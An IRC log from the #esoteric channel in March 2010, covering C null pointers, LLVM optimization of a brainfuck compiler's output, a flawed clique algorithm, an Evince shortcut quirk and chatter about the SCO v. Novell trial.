23:38:46 <Deewiant> All machines that have been manufactured in the last 20 years, say
23:38:50 <Phantom_Hoover> How can it set the bits to 0 and not set it to 0, which is NULL when cast to a pointer?
23:39:02 <Deewiant> C guarantees that casting 0 to a pointer gives you NULL
23:39:16 <pikhq> Phantom_Hoover: 0 is not necessarily the actual bit representation of a NULL.
23:39:22 <Phantom_Hoover> I got that.
23:39:34 <pikhq> It is merely required that ((void*)0) gets you NULL, *WHATEVER THE HELL IT ACTUALLY IS*.
23:39:55 <Deewiant> Is it required that int x = 0; (void*)x == NULL ?
23:40:07 <Deewiant> Or does it have to be the constant zero
23:40:20 <pikhq> Deewiant: Don't think so.
23:40:38 <pikhq> const int x = 0; // Here, however, (void*)x == NULL.
23:40:55 <Deewiant> Right
23:41:32 <Deewiant> fizzie: Did you try the element-by-element initialization business?
23:42:28 <fizzie> Deewiant: Yes, just three seconds ago. It works a lot better; the .ll file initially has ugly 60k lines, but after opt there's actually no explicit zeros at all.
23:42:45 <Deewiant> Aye, that's what I expected.
23:43:58 * Deewiant files an LLVM bug
23:44:48 <Deewiant> fizzie: So does it get to puts("Hello world")? ;-)
23:44:54 <Deewiant> (Presumably not)
23:45:17 <fizzie> pikhq: Are you sure about that? It needs to be "an integer constant expression with the value 0", and the C 'const's aren't really constant expressions: "An integer constant expression shall have integer type and shall only have operands that are integer constants, enumeration constants, character constants, sizeof expressions whose results are integer constants, and floating constants that are the immediate operands of casts."
23:47:02 -!- Phantom_Hoover has quit (Remote host closed the connection).
23:50:32 <fizzie> Deewiant: Mwahaha... when I made that explicit "%zN = getelementptr [30000 x i8]* %tape, i32 0, i32 N; store i8 0, i8* %zN;" for all N = 0 .. 29999 in the .ll file, what came out in the assembly was "sub rsp, 30008; lea rdi, [rsp]; xor esi, esi; mov rdx, 30000; call memset;" :D
23:50:51 <Deewiant> O_o
23:51:09 <fizzie> I didn't even have any sort of memset function declared anywhere or anything. :p
23:51:21 <Deewiant> Yes, they try to optimize common idioms like that
23:51:42 <fizzie> call void @llvm.memset.i64(i8* %z0.i, i8 0, i64 30000, i32 1) nounwind
23:51:50 <fizzie> Actually that's in the opt'd .bc file too, it seems.
23:51:55 <fizzie> It looked messy enough that I missed it.
23:52:02 <Deewiant> I'm just a bit surprised that the zeroinitializer thing didn't do that. Not very, though, since it tends to depend on whether llvm-gcc or Clang output such code. :-P
23:53:55 <fizzie> Deewiant: There's still quite a bit of explicit computation, though: http://pastebin.com/P0vJXANt
23:54:30 <Deewiant> Thanks for the Intel asm ;-)
23:54:50 <fizzie> Deewiant: Pastebin's syntax highlighting only has a NASM mode. :p
23:55:02 <Deewiant> It seems to depend on that first loop which it can't reduce, evidently.
23:55:05 <fizzie> That's still not exactly nasm-compatible, but close enough.
23:55:20 <fizzie> It does inline the brainfuck function into main, it seems.
23:55:22 <Deewiant> If you have a .ll or .bc, I can run it through LLVM trunk if you want.
23:56:43 <fizzie> Well, hello.ll: http://zem.fi/~fis/hello.ll
23:57:12 <Deewiant> 3 megs >_<
23:57:27 <fizzie> 60k lines of zero-initialization. :p
23:57:34 <Deewiant> That .bc would likely have been a bit smaller.
23:57:34 <fizzie> Maybe I should just call memset by myself.
23:58:24 <Deewiant> fizzie: In trunk, it no longer calls memset.
23:58:34 <fizzie> Okay. Does it still have that loop there?
23:58:54 <Deewiant> It has 30000 movb's to start with.
23:59:08 <Deewiant> And yes, a loop, though it looks a bit different.
23:59:36 <Deewiant> Or no, that may have been my fault: I used -regalloc=pbqp instead of the default.
23:59:41 -!- tombom has quit (Quit: Leaving).
23:59:55 <Deewiant> Nah, that doesn't actually matter, it's still a bit different.
2010-03-18
00:00:05 <fizzie> The loop seems curiously unrollable to me; and I don't quite see why it bothers to keep the loop counter updated at [rsp] while the body is really that simple.
00:01:15 <fizzie> Especially when it initializes it with a constant 10 at the top.
00:02:09 <Deewiant> http://pastebin.com/U816YgtS is what it comes out with now (minus 30000 movb's)
00:02:17 <Deewiant> Minus 29999 movb's, to be exact.
00:03:11 <Deewiant> No inlining, which is a bit weird.
00:03:33 <fizzie> Maybe the 30k movbs make it too large to consider inlining. Though one use only...
00:03:36 <fizzie> I had rbx-based indexing in some earlier version too.
00:04:44 <fizzie> That variant seems to again do the "store 0 into [rsp], then add 10 to it later and use that as the loop condition".
00:05:09 <fizzie> At least the one I got out initializes [rsp] directly to 10, and then falls through to Block1 directly without a test.
00:08:30 -!- oerjan has joined.
00:08:45 <fizzie> For the record, these were from llvm version 2.6 (Debian 2.6-8), which might've been guessable.
00:09:48 <Deewiant> Marking llbf as alwaysinline is obviously a win anyways
00:13:38 <fizzie> Deewiant: Hey! I got that puts("Hello World!"); out of it.
00:13:50 <Deewiant> Great; what'd you do
00:15:07 <oerjan> <ais523> what's the address to contact the mail server owner?
00:15:09 <oerjan> postmaster?
00:15:32 <fizzie> Deewiant: I changed my existing <> code of "%tmp1 = ptrtoint i8* %oldmem to i64; %tmp2 = add/sub i64 %tmp1, N; %newmem = inttoptr i64 %tmp2 to i8*;" into "%newmem = getelementptr i8* %oldmem, +-N".
00:15:53 <Deewiant> That was it? Awesome
00:16:06 <fizzie> llvm-as < hello.ll | opt -O3 -std-compile-opts -std-link-opts -loop-unroll | llvm-dis => http://pastebin.com/AYiVB3pM
00:16:25 <fizzie> It still memsets the tape to 0 for some reason, but after that it's just a sequence of putchar() calls.
00:16:39 <fizzie> (I wasn't really expecting it to combine those into a puts().)
00:17:44 <fizzie> (And the -std-X-opts flags seem to be enough, they might even imply those others; I just tried them out earlier.)
00:18:10 <Deewiant> Was that with the individual 30000 stores?
00:18:20 <fizzie> Yes.
00:18:33 <Deewiant> Hmh
00:19:27 <Deewiant> fizzie: Trunk manages to remove that memset
00:19:32 <fizzie> With the single zeroinitializer store, I get... uh, something rather strange.
00:19:46 <Deewiant> From that putchar'ing code, I mean
00:20:04 <fizzie> Ah, okay.
00:20:19 <fizzie> This is with a zeroinitializer store: http://pastebin.com/sAzBM02t
00:20:57 <fizzie> Am I reading it wrong or has it actually removed the loop?
00:21:30 <Deewiant> Yes, it appears to have.
00:21:51 <Deewiant> fizzie: Replacing 30000 with 128 in that one, you again get only putchars.
00:21:59 <Deewiant> Even with 2.6.
00:22:29 <fizzie> Strange sort of limit there.
00:22:48 <Deewiant> Yes, I filed a bug about it.
00:22:57 <fizzie> Though I guess the 60k individual stores aren't much better.
00:23:17 -!- adu has joined.
00:23:49 <fizzie> Do you think it'd grok a zeroization loop (like I had earlier) as something that's replaceable by a memset?
00:24:11 <Deewiant> Probably; not necessarily.
00:25:40 <fizzie> Let's see, I still have that loop as a commented-out bit.
00:28:50 <fizzie> Well, not my loop, but maybe my loop looks strange. :p
00:30:04 <fizzie> .LBB1_1: # %ZeroLoop.i
00:30:04 <fizzie> mov BYTE PTR [RSP + RAX], 0
00:30:04 <fizzie> inc RAX
00:30:04 <fizzie> cmp RAX, 30000
00:30:04 <fizzie> jne .LBB1_1
00:30:09 <fizzie> That's what it included in there.
00:30:31 <Deewiant> Gimme .ll!
00:30:57 <fizzie> http://zem.fi/~fis/helloloop.ll
00:31:01 <fizzie> This time it's a bit smaller, too.
00:33:57 <Deewiant> There's another size thing here; with 20 x i8 it's again all putchar.
00:34:01 <fizzie> That's another funny trick: opt turns my "%b0inmem = getelementptr [30000 x i8]* %tape, i32 0, i32 0 ... %p = getelementptr i8* %b0inmem, i32 %i" into a direct-reference "%p.i = getelementptr [30000 x i8]* %tape.i, i64 0, i64 %indvar.i".
00:34:26 <Deewiant> I did that manually right away to see if it would help :-P
00:34:35 <Deewiant> It still doesn't add inbounds
00:36:12 <fizzie> I need some sleeps now, nighty.
00:36:25 <Deewiant> Night
00:53:20 -!- cal153 has joined.
01:10:47 -!- coppro has joined.
01:20:52 -!- augur has quit (Ping timeout: 245 seconds).
01:56:05 -!- augur has joined.
02:04:30 -!- lament has quit (Ping timeout: 252 seconds).
02:05:13 -!- lament has joined.
02:06:26 <oerjan> augur: how is your clique algorithm testing going?
02:07:11 -!- Sgeo has joined.
02:07:23 -!- augur has quit (Ping timeout: 240 seconds).
02:07:48 <oerjan> :(
02:08:05 -!- augur has joined.
02:10:30 <fax> :)
02:11:21 -!- fax has quit (Quit: Lost terminal).
02:20:23 -!- augur has quit (Ping timeout: 240 seconds).
02:24:06 -!- augur_ has joined.
02:24:53 <augur_> oerjan: i tried to write it in C but im completely clueless. i dont know C well enough to do it correctly.
02:25:08 <oerjan> oh
02:26:49 -!- augur_ has quit (Read error: Connection reset by peer).
02:26:50 -!- augur has joined.
02:33:51 -!- Oranjer has left (?).
02:36:26 -!- augur has quit (Ping timeout: 265 seconds).
02:37:34 -!- augur has joined.
02:43:25 -!- augur_ has joined.
02:43:41 -!- augur has quit (Ping timeout: 265 seconds).
02:44:05 <augur_> oerjan: interestingly, it seems to be maaaaaaybe exponential in the number of nodes, but linear in the number of edges
02:44:18 <oerjan> oh, hm.
02:44:35 <oerjan> that's bad for the thing i had been thinking of
02:45:08 <oerjan> i thought about why maxclique is NP-complete, and how to reduce circuit problems to it
02:45:33 <oerjan> alas the method i found ends up making _most_ vertices have edges between them
02:45:48 <oerjan> or wait
02:46:20 <oerjan> er, if it's linear in edges then it must be quadratic in nodes, since no. edges <= no. nodes squared
02:47:52 <augur_> the algo i have sounded pretty simple to me, but alas
02:47:55 <augur_> have you looked at it?
02:48:09 <oerjan> is it the one at http://wellnowwhat.net/linguistics/node-relative%20maximal%20clique.pdf ?
02:49:09 <oerjan> i think there's a typo there, should't it be "if |s| = m then"
02:56:44 -!- augur_ has quit (Ping timeout: 265 seconds).
02:58:13 -!- augur has joined.
03:02:44 -!- augur_ has joined.
03:03:31 -!- augur has quit (Read error: Connection reset by peer).
03:07:22 <augur_> yeah :\
03:07:24 <augur_> its looking exponential in nodes
03:07:41 <augur_> and linear in edges
03:07:43 <augur_> which is interesting
03:08:07 <augur_> but i guess maybe not, because edge random variables i think are exponential on nodes
03:08:08 <oerjan> you mean it's linear in edges given a particular node number?
03:08:12 <augur_> so
03:11:55 <Gregor> Does anybody know how to make a user account that can be logged in via ssh with no password or key? (That is, anyone can log in as this user)
03:12:08 <Gregor> And don't ask why anyone would want to do something so stupid :P
03:12:21 <oerjan> O KAY
03:12:41 -!- augur_ has quit (Ping timeout: 265 seconds).
03:13:01 <Gregor> I could always just make a user account with an obvious, shared password, but that's not ideal.
03:14:18 <oerjan> i suppose what you want is an account that anyone can use but no one can prevent others from using? (not that i know how to do such a thing)
03:14:48 <coppro> that's easy
03:14:55 <coppro> just modify passwd not to change that user's password
03:15:30 <oerjan> you'd probably also want to make any startup files not writable by the user?
03:16:01 <coppro> Gregor: password authentication, give it no password?
03:16:06 <oerjan> including any that might be created later...
03:16:18 <Gregor> coppro: No password != no password prompt
03:41:12 -!- MizardX has quit (Ping timeout: 258 seconds).
04:12:40 -!- jcp has joined.
04:13:20 <oerjan> !haskell let comb n m = product [n, n-1 .. n-m+1] `div` product [1..m] in [comb (2*n+1) n | n <- [1..20]]
04:13:31 <EgoBot> [3,10,35,126,462,1716,6435,24310,92378,352716,1352078,5200300,20058300,77558760,300540195,1166803110,4537567650,17672631900,68923264410,269128937220]
04:37:03 -!- Sgeo_ has joined.
04:37:52 * oerjan concludes that that pdf page cannot possibly be augur's real algorithm
04:38:21 <oerjan> or alternatively, it cannot possibly be correct
04:40:22 -!- Sgeo has quit (Ping timeout: 264 seconds).
04:43:50 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
04:44:56 -!- jcp has joined.
04:49:32 <oerjan> although it does indeed look like it must either be quadratic, or loop infinitely.
04:49:51 <oerjan> hm wait no
05:00:53 <oerjan> it must be quadratic.
05:33:18 -!- oerjan has quit (Quit: leaving).
05:33:18 -!- myndzi has quit (Read error: Connection reset by peer).
05:33:50 -!- myndzi has joined.
05:51:11 -!- oerjan has joined.
05:56:55 <oerjan> augur: As far as I understand it, the algorithm in the pdf gives the wrong result for the following graph:
05:56:59 <oerjan> *--*
05:56:59 <oerjan> |\ |
05:56:59 <oerjan> | \|
05:56:59 <oerjan> *--*
05:58:35 <oerjan> With initial vertex the upper left, the algorithm removes the upper right and lower left vertices, giving a clique of size 2 instead of the correct 3.
06:22:40 -!- coppro has quit (*.net *.split).
06:22:40 -!- lifthrasiir has quit (*.net *.split).
06:22:40 -!- adu has quit (*.net *.split).
06:22:41 -!- yiyus has quit (*.net *.split).
06:22:41 -!- werdan7 has quit (*.net *.split).
06:22:41 -!- oerjan has quit (*.net *.split).
06:22:41 -!- Sgeo_ has quit (*.net *.split).
06:22:42 -!- cheater has quit (*.net *.split).
06:22:42 -!- Gregor has quit (*.net *.split).
06:22:42 -!- Deewiant has quit (*.net *.split).
06:22:42 -!- ineiros has quit (*.net *.split).
06:22:42 -!- jix has quit (*.net *.split).
06:22:42 -!- AnMaster has quit (*.net *.split).
06:22:43 -!- HackEgo has quit (*.net *.split).
06:22:43 -!- Ilari has quit (*.net *.split).
06:22:44 -!- sebbu has quit (*.net *.split).
06:22:44 -!- fizzie has quit (*.net *.split).
06:22:44 -!- Leonidas has quit (*.net *.split).
06:22:44 -!- myndzi has quit (*.net *.split).
06:22:44 -!- pikhq has quit (*.net *.split).
06:22:45 -!- cheater2 has quit (*.net *.split).
06:22:45 -!- EgoBot has quit (*.net *.split).
06:22:45 -!- comex has quit (*.net *.split).
06:22:45 -!- uorygl has quit (*.net *.split).
06:22:46 -!- lament has quit (*.net *.split).
06:22:46 -!- Wareya has quit (*.net *.split).
06:22:46 -!- bsmntbombdood has quit (*.net *.split).
06:22:46 -!- mycroftiv has quit (*.net *.split).
07:29:52 -!- linf has joined.
07:30:00 -!- linf has left (?).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:14:50 -!- kar8nga has joined.
08:14:50 -!- tombom has joined.
08:14:50 -!- Gracenotes has joined.
08:14:50 -!- mental has joined.
08:14:50 -!- augur has joined.
08:14:50 -!- myndzi has joined.
08:14:50 -!- Sgeo_ has joined.
08:14:50 -!- coppro has joined.
08:14:50 -!- adu has joined.
08:14:50 -!- sebbu has joined.
08:14:50 -!- EgoBot has joined.
08:14:50 -!- Wareya has joined.
08:14:50 -!- werdan7 has joined.
08:14:50 -!- pikhq has joined.
08:14:50 -!- comex has joined.
08:14:50 -!- Ilari has joined.
08:14:50 -!- cheater2 has joined.
08:14:50 -!- fizzie has joined.
08:14:50 -!- bsmntbombdood has joined.
08:14:50 -!- lifthrasiir has joined.
08:14:50 -!- cheater has joined.
08:14:50 -!- HackEgo has joined.
08:14:50 -!- uorygl has joined.
08:14:50 -!- Leonidas has joined.
08:14:50 -!- AnMaster has joined.
08:14:50 -!- Gregor has joined.
08:14:50 -!- Deewiant has joined.
08:14:50 -!- yiyus has joined.
08:14:50 -!- mycroftiv has joined.
08:14:50 -!- ineiros has joined.
08:14:50 -!- jix has joined.
08:15:18 -!- sshc has quit (Max SendQ exceeded).
08:15:38 -!- augur has changed nick to Guest43180.
08:15:38 -!- kar8nga has changed nick to Guest95837.
08:15:56 -!- sshc has joined.
08:50:27 -!- tombom has quit (Quit: Leaving).
08:52:55 -!- Guest43180 has changed nick to augur.
09:06:29 -!- oklopol has joined.
09:20:37 -!- Gracenotes has quit (Changing host).
09:20:37 -!- Gracenotes has joined.
09:36:44 -!- Gracenotes has quit (Ping timeout: 260 seconds).
10:14:48 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
10:26:51 -!- lereah_ has joined.
11:03:53 -!- mental has quit (Ping timeout: 256 seconds).
11:06:47 -!- lament has joined.
11:19:33 -!- oklopol has quit (Quit: ( www.nnscript.com :: NoNameScript 4.2 :: www.regroup-esports.com )).
11:23:30 -!- FireFly has joined.
11:52:42 -!- Sgeo__ has joined.
11:56:28 -!- Sgeo_ has quit (Ping timeout: 268 seconds).
12:39:06 -!- cheater2 has quit (Ping timeout: 248 seconds).
12:42:16 -!- cheater2 has joined.
12:57:24 -!- Asztal has joined.
13:20:21 -!- BeholdMyGlory has joined.
13:34:58 -!- dougx has joined.
14:07:26 -!- Guest95837 has quit (Remote host closed the connection).
14:15:38 -!- dougx has left (?).
14:45:11 <AnMaster> I love the national library search website in Sweden. You can get accurate references for any books in it. In bibtex format from it. Very useful :)
14:51:01 -!- cheater has quit (Read error: Connection reset by peer).
14:51:14 -!- cheater has joined.
15:06:43 -!- kar8nga has joined.
15:52:41 -!- jix has quit (Ping timeout: 245 seconds).
15:53:21 -!- Leonidas has quit (Ping timeout: 276 seconds).
15:55:25 -!- jix has joined.
16:03:17 -!- Leonidas has joined.
16:30:08 -!- charlls has joined.
16:32:09 -!- oerjan has joined.
16:39:06 -!- cheater has left (?).
16:53:02 -!- ais523 has joined.
16:56:43 <ais523> silliest keyboard shortcut mistake ever?: in Evince, "A" is the shortcut to open a new document
16:56:48 -!- hiato has joined.
16:56:56 <ais523> and this works even inside the Find dialog thing
16:57:22 <ais523> so, in order to search for words containing a or A, you have to type it as shift-A (luckily it's case-insensitive, or you'd have to use capslock and shift-A to type a lowercase a)
16:59:22 -!- hiato has quit (Client Quit).
17:00:18 -!- hiato has joined.
17:02:21 <fizzie> That doesn't happen in my Evince.
17:03:31 <fizzie> The only "open" shortcut I can see is C-o; just plain "A" doesn't seem to have any sort of significance.
17:15:38 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
17:19:28 <ais523> I'm not entirely sure what happened to the keyboard shortcuts on it
17:19:34 <ais523> open is marked as "a" in my menu
17:22:16 -!- hiato has changed nick to sudobus.
17:22:36 <fizzie> That's passing strange. I guess it might read them from some gconf-powered nightmare?
17:22:57 <ais523> perhaps
17:23:05 <ais523> there's no obvious way to change the shortcuts
17:23:22 * oerjan recalls something about gtk allowing you to change the shortcuts
17:24:01 <fizzie> Xpdf has natively single-character no-modifiers shortcuts (O for Open and so on), but it doesn't accept those when the Find dialog has the focus.
17:24:27 <fizzie> ais523: You're not the only one, though: http://ubuntuforums.org/showthread.php?p=8839774
17:24:51 <fizzie> ---
17:24:53 <fizzie> It seems that you have Gnome Editable Shortcuts feature turned on and accidentally changed the shortcut for File→Open. The feature means that while you have a menu open, pressing any keyboard key sets it as the shortcut for the currently selected action (Backspace removes a shortcut).
17:24:53 <fizzie> To fix it: just open the File menu and while the mouse is over the Open action, press Ctrl+O. This should restore the standard shortcut.
17:24:54 <fizzie> ---
17:24:59 <fizzie> Wow, that's wonderfully bizarre.
17:25:14 <fizzie> Make any stray keypresses and you completely mangle up a program's UI.
17:25:22 <ais523> it worked, yes
17:25:27 <ais523> wow, that's... surprising
17:30:03 <oerjan> sounds precisely like the gtk feature i once read about
17:31:22 <fizzie> They never cease to confuse.
17:34:31 <AnMaster> <ais523> so, in order to search for words containing a or A, you have to type it as shift-A (luckily it's case-insensitive, or you'd have to use capslock and shift-A to type a lowercase a) <-- err... wth?
17:34:44 <ais523> AnMaster: fizzie figured out what happened
17:34:55 <ais523> at some point in the past, I had my mouse hovering over file|open while typing a
17:34:59 <ais523> and that permanently changed the shortcut
17:35:12 <AnMaster> ais523, I see
17:35:18 <AnMaster> bad design
17:35:21 <AnMaster> to make it work like that
17:36:27 <AnMaster> ais523, how does one disable that feature btw
17:36:47 <AnMaster> hm doesn't seem to happen for me
17:36:51 <AnMaster> when I press keys in menus
17:36:59 <AnMaster> so I guess it won't cause problems
17:37:01 <ais523> yep, I suspect it's non-default and I turned it on by mistake
17:37:11 <AnMaster> ais523, found where to turn it off?
17:37:15 <AnMaster> it might be useful to know
17:37:20 <fizzie> In Ubuntu, you (according to hearsay) configure it in "System→Preferences→Appearance dialog → Interface tab → Editable menu shortcut keys"
17:37:27 <ais523> that sounds about right
17:37:32 <AnMaster> well hidden I'd say
17:37:49 <AnMaster> well, just checked, not so much
17:38:10 <AnMaster> it sounded worse when fizzie listed that long path than it really is
17:50:28 -!- oerjan has quit (Quit: Elater).
17:55:11 -!- fax has joined.
18:08:52 -!- charlesq__ has joined.
18:11:12 -!- lereah_ has quit (Remote host closed the connection).
18:12:13 -!- charlls has quit (Ping timeout: 264 seconds).
18:19:19 <AnMaster> hm
18:19:52 <AnMaster> checking the old palm rest for my thinkpad, there was a small square piece of clear plastic glued onto the place where the crack in the plasic happened
18:19:56 <AnMaster> (on the inside that is)
18:20:09 <AnMaster> right over the crack
18:20:23 <AnMaster> I wonder why. I don't remember if there was any such on the new palm rest part
18:24:22 <Wareya> hi #esoteric
18:24:29 <Wareya> what's going on today?
18:26:34 <AnMaster> no idea
18:27:04 <AnMaster> I'm still wonder about said bit of glued on plastic, it looks like they suspected a crack there or something
18:37:28 <ais523> Wareya: not a lot, I think
18:37:48 -!- fizzie has quit (Ping timeout: 276 seconds).
18:39:10 <Wareya> k
18:41:25 -!- tombom has joined.
18:46:42 <ais523> haha, in the SCO vs Novell trial, there was (second hand) Google's response to SCO asking them to buy a licence for Linux, which was along the lines of "you sent us a form letter, we asked for more details, you replied with another form letter, asking to arrange a meeting by '(insert date one week from date of letter)'. we assume you meant to put an actual date there..."
19:01:01 -!- werdan7 has quit (Ping timeout: 612 seconds).
19:09:22 -!- werdan7 has joined.
19:29:53 -!- Gracenotes has joined.
19:38:25 -!- sudobus has changed nick to hiato.
19:39:17 <Gracenotes> okay, I've made a huge change to my bash setup... I've made my prompt blue. :3
19:43:31 -!- Sgeo__ has changed nick to Sgeo.
19:54:24 <fax> :3
19:57:23 <hiato> :4
19:59:10 -!- kar8nga has quit (Remote host closed the connection).
19:59:31 -!- kar8nga has joined.
20:16:47 <AnMaster> ais523, heh
20:16:54 <AnMaster> ais523, that must have been some time ago
20:17:32 <ais523> yes, ages ago
20:17:48 <ais523> I love that reply, though
20:17:55 <AnMaster> ah
20:17:55 <ais523> and I'm not surprised Google didn't take them seriously
20:23:22 <AnMaster> ais523, well, nor am I
20:23:41 <AnMaster> ais523, but citation for that?
20:24:03 <ais523> it's secondhand info; a reporter that Groklaw sent to cover the SCO vs Novell case
20:24:15 <ais523> once the case is over, there'll likely be transcripts up, then you could get a much better citation
20:24:20 <ais523> including exactly what Google said
20:34:12 <Wareya> discussion about genres of intellectual property?
20:34:19 <Wareya> or am I missing something?
20:34:44 <Wareya> or am I adding random shit into what I think's going on?
20:36:28 -!- oerjan has joined.
20:37:53 <Wareya> hey
20:38:53 <oerjan> hoy
20:39:40 <ais523> Wareya: probably the third
20:39:53 <ais523> I'm busy reading the SCO v Novell news at the moment
20:40:03 <ais523> because a) I think it's an important court case, and b) it's hilarious
20:40:10 <Gregor> ... wait, there's news?
20:40:12 <Gregor> As in, not olds?
20:40:19 <ais523> Gregor: yes, the court case is going on right now
20:40:28 <Gregor> wtfbbq
20:40:36 <ais523> after being decided twice on summary judgement, appealed and vacated
20:40:41 <Gregor> I thought that was long-over X_X
20:40:43 <ais523> so now they're doing it again, but this time with a jury
20:41:07 <ais523> and every day of the case, SCO has done something that ridiculously hurts their own case
20:41:14 <ais523> worse every day than the day before
20:41:25 <Gregor> What's your preferred relevant news source?
20:41:40 <ais523> I use http://groklaw.net which is sending its own reporters to the court
20:41:59 <ais523> it seems to already have decided that SCO have no chance, though, which rather colours its opinions a bit
20:42:02 <ais523> although I suspect it's right
20:43:07 -!- augur has quit (Ping timeout: 268 seconds).
20:43:26 -!- oerjan has quit (Quit: leaving).
20:45:18 <AnMaster> <ais523> once the case is over, there'll likely be transcripts up, then you could get a much better citation
20:45:20 <AnMaster> wait a second
20:45:24 <AnMaster> isn't the case over?
20:45:29 <AnMaster> since over a year or something
20:45:30 <ais523> AnMaster: it was appealed
20:45:37 <AnMaster> and isn't SCO bankrupt
20:45:39 <ais523> yes, it is
20:45:48 <Gregor> Bankruptcy is not the end :P
20:45:48 <ais523> but the lawyers were paid in advance
20:46:02 <AnMaster> Gregor, I thought it was. But apparently not so
20:46:13 <ais523> to be precise, there's more than one form of bankruptcy
20:46:34 <AnMaster> how strange
20:46:38 <ais523> SCO is chapter-11 bankrupt, which means that the court oversees all their financial transactions, and if they go back up to positive money again they can continue on as a business
20:46:43 <AnMaster> like "out of money" and "out of money"?
20:46:56 <AnMaster> ais523, I see
20:46:58 <AnMaster> hm
20:47:03 <ais523> chapter 11 is sort-of "temporarily out of money", where you can't afford to pay your debts /now/ but may in the near future
20:47:13 <Wareya> and that was
20:47:17 <Wareya> three years ago?
20:47:19 <ais523> people are skeptical as to whether it's appropriate, though
20:47:22 <ais523> Wareya: about that, I think
20:47:26 <AnMaster> is there no time limit to it?
20:47:39 <ais523> yes, but the deadline's been bumped several times, and even blatantly broken on occasion
20:47:47 <AnMaster> ais523, why
20:47:50 <ais523> a while back the judge forcibly changed SCO's management
20:48:03 <ais523> and is currently giving the new management some time to try to sort things out
20:48:07 <AnMaster> mhm
20:48:13 <Wareya> Sure.
20:48:16 <Wareya> Let's go with that.
20:48:34 <ais523> there have been all sorts of reasons for previous bumps
20:48:42 <ais523> SCO nearly always came up with something ridiculous at the last minute
20:48:54 <ais523> like a company wanting to give them lots of money or a loan, etc
20:48:59 <ais523> but the details needed some time to sort out...
20:49:03 <ais523> (and of course, the deals mostly fell through)
20:50:22 <ais523> Gregor: has your head exploded sufficiently yet?
20:50:31 <Gregor> NEVARS
20:51:29 <ais523> are you enjoying the info you're reading, at least?
20:51:51 <ais523> it's full of SCO contradicting itself
20:52:20 <ais523> I'm actually vaguely curious as to whether SCO or Novell will do a better job of demolishing SCO's case
20:55:40 <uorygl> You know, "Santa Cruz Operation" doesn't sound like something legitimate.
20:55:47 <uorygl> Which is a coincidence, of course.
20:56:16 <uorygl> But it sounds like some CIA plot to assassinate a Cuban leader.
20:56:24 <ais523> uorygl: oh, you are confused; the company in question is "The SCO Group", "Santa Cruz Operation" is a /different/ company
20:56:54 <ais523> there's a suspicion going around that they're doing this sort of thing deliberately; two of the companies that tried to give them loans were both startups with the initials SNCP
20:58:54 <uorygl> Hmm. It looks like Caldera acquired parts of Santa Cruz Operation and then renamed themselves after them.
20:59:16 <uorygl> Unless the SCO Group's SCO is a totally different SCO.
20:59:37 <ais523> tSCOg = caldera
20:59:47 <uorygl> Right.
20:59:50 <ais523> the other parts of the original SCO are currently owned by Oracle, via Sun
21:00:53 <pikhq> uorygl: Yeah, Caldera bought up SanCruzOp's UNIX business.
21:01:08 <pikhq> And thought they bought the rights to UNIX.
21:02:36 <ais523> and novell claimed they never sold them to oldSCO in the first place
21:02:41 <ais523> that's what the current trial's about
21:02:50 <ais523> both Novell and SCO sued the other for claiming that they owned the copyrights to UNIX
21:04:04 <pikhq> Novell's got the contract on their side.
21:04:51 <ais523> SCO's argument is, I think, that the contract's not meant to say that
21:04:52 <pikhq> Actually, Novell never sued just claiming "we own the copyrights and they're violating it", they just said "Yeah, the contract we've got here says they owe us a percentage of the profits from their UNIX sales. We'd like them to pay."
21:05:29 <ais523> pikhq: that's a different case I think, just to add to the confusion
21:05:38 <ais523> it was originally the same case, but the appeal sort-of split everything up
21:05:41 <pikhq> No, that's the countersuit.
21:05:52 <ais523> hmm, ah ok
21:05:57 <ais523> it doesn't seem to be being decided at the moment
21:06:02 <ais523> maybe that one wasn't appealed
21:06:07 <ais523> and so isn't included in the redo of the trial
21:06:08 <pikhq> It has already been decided.
21:06:13 <ais523> yep, so has everything else
21:06:19 <pikhq> It's the reason for the bankruptcy.
21:06:22 <ais523> the question is, what needs to be decided a second time?
21:07:06 <pikhq> They filed bankruptcy soley to delay the verdict from the countersuit... Said countersuit was about to be a reason for them to be bankrupt.
21:07:36 <pikhq> Yes, they couldn't legitimately file bankruptcy until after the verdict, but they filed before the verdict to delay the verdict.
21:07:55 <pikhq> SCO has some *amazingly* amoral lawyers.
21:13:28 <hiato> s/amoral/average/
21:22:34 -!- augur has joined.
21:25:27 <AnMaster> <ais523> tSCOg = caldera <--- ?
21:25:43 <ais523> AnMaster: they keep renaming things to try to confuse people
21:25:57 <AnMaster> ais523, yes but that wasn't sed syntax was it?
21:25:59 <ais523> try to get a straight answer from them as to whether UNIX is UnixWare or not
21:26:04 <ais523> AnMaster: no, it wasn't
21:26:08 <AnMaster> ais523, then what was it
21:26:16 <ais523> "The SCO Group" and "Caldera" are the same company
21:26:22 <AnMaster> oh
21:26:26 <AnMaster> it wasn't g as in global
21:26:29 <ais523> and "The SCO Group" abbreviates to "tSCOg" when you want to be unambiguous
21:26:32 <ais523> AnMaster: no
21:26:34 <AnMaster> and t as in t<somethingA>
21:26:37 <ais523> "dog" does not mean "do global"!
21:26:37 <AnMaster> s/A//
21:32:57 <AnMaster> ais523, well, I didn't know what the t and g stood for
21:35:37 -!- adu has quit (Quit: adu).
21:41:46 -!- oklopol has joined.
21:47:11 -!- charlls has joined.
21:50:01 -!- charlesq__ has quit (Ping timeout: 276 seconds).
21:54:58 -!- augur has quit (Ping timeout: 265 seconds).
22:03:01 <ais523> gah, the evince problem doesn't even just happen with the mouse
22:03:11 <ais523> I pressed alt f a, meaning save as, but evince doesn't have save as
22:03:21 <ais523> and it overwrote the keyboard shortcut for open instead
22:03:29 -!- Wareya has quit (Ping timeout: 256 seconds).
22:07:51 -!- ais523 has quit (Remote host closed the connection).
22:09:42 -!- charlls has quit (Ping timeout: 276 seconds).
22:10:36 -!- hiato has quit (Quit: underflow).
22:13:28 <uorygl> alt f a?
22:15:40 <Deewiant> Alt f a
22:15:49 <Deewiant> Alt f -> File
22:15:52 <Deewiant> A -> save _A_s
22:19:10 -!- wareya has joined.
22:19:23 <uorygl> Ah.
22:20:22 <uorygl> Since the alise sighting counter is defunct, let's set it to an arbitrary value.
22:20:39 -!- uorygl has set topic: "Gwandocu (n): Extremely strong evidence, far beyond a reasonable doubt." | alise sighting counter: 100,000 | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
22:24:51 <wareya> At least it's over nine thousand.
22:25:18 <AnMaster> hm
